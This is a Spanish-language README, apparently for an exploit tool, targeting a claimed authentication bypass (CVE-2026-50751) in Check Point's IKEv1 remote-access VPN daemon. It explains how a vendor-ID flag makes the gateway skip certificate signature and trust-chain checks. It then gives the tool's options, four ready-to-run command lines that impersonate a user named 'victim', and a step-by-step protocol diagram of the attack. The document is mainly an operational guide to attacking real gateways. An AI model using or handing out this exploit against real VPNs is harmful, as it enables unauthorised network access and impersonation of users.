
Bypass de autenticación por certificado en la VPN Remote-Access de Check Point (IKEv1).
Bypass de autenticación por certificado en la VPN Remote-Access de Check Point (IKEv1).
CVE-2026-50751 es un bypass de autenticación en el demonio iked de Check Point, presente en las versiones R81.10, R82 y R82.10 sin el hotfix sk185033. El fallo permite autenticarse como cualquier usuario de Remote Access provisionado sin clave privada, sin contraseña y sin certificado válido.
El iked vulnerable lee un flag desde el Vendor ID VPNExtFeatures (bit 0x4) y, si está activado, omite verify_peer_auth / verifyMessagePhase1. Como consecuencia:
No se verifica la firma del certificado (prueba de posesión).
No se verifica la cadena de confianza.
Solo se comprueba que el subject DN resuelva a un usuario provisionado.
Basta con forjar un certificado autofirmado cuyo CN= coincida con el usuario objetivo y enviarlo con una firma inválida. Si el gateway acepta la fase 1, hemos quedado autenticados como ese usuario (la SA ISAKMP se guarda bajo su DN).
Funciona sobre IKE (UDP 500/4500) y sobre Visitor Mode (TCPT, TCP 443).
Sintaxis
cve-2026-50751 -host <IP|hostname> -user <username> [opciones]
| Flag | Descripción | Defecto |
|---|
-host | IP o hostname del gateway (obligatorio) | — |
-user | Username RA a suplantar (obligatorio) | — |
-port | Puerto: 500, 4500 (UDP) o 443 (TCPT) | 500 |
-org | Organización (O=) de la ICA. Si se omite, se deriva del cert TLS | — |
-ou | Unidad organizativa (OU=) del usuario | users |
-timeout | Timeout por operación | 6s |
-retries | Reintentos de msg1 | 1 |
-v | Salida verbosa | false |
sudo ./cve-2026-50751 -host 203.0.113.10 -port 500 -user victim -v
./cve-2026-50751 -host 203.0.113.10 -port 443 -user victim -v
./cve-2026-50751 -host 203.0.113.10 -user victim -org "ACME Corp" -ou vpn -v
sudo ./cve-2026-50751 -host 203.0.113.10 -port 4500 -user victim -v
Atacante Gateway (iked vulnerable)
│ │
│─── msg1: SA (RSA-SIG) + VPNExtFeatures VID (bit 0x4) ───▶│
│ │ Lee flag 0x4
│ │ Marca verify_peer_auth = skip
│◀── msg2: SA aceptado ────────────────────────────────────│
│ │
│─── msg3: KE (g^xi) + Ni ────────────────────────────────▶│
│◀── msg4: KE (g^xr) + Nr ─────────────────────────────────│
│ │
│ Deriva SKEYID, SKEYID_e, IV │
│ │
│─── msg5 (cifrado): ID=DN forjado + CERT autofirmado │
│ + firma aleatoria ───────────────────▶│
│ │ Omite verificación
│ │ de firma
│ │ Resuelve DN → usuario
│◀── msg6 (cifrado): SA establecida ───────────────────────│
│ │
│ Descifra msg6 con SKEYID_e → prueba de autenticación │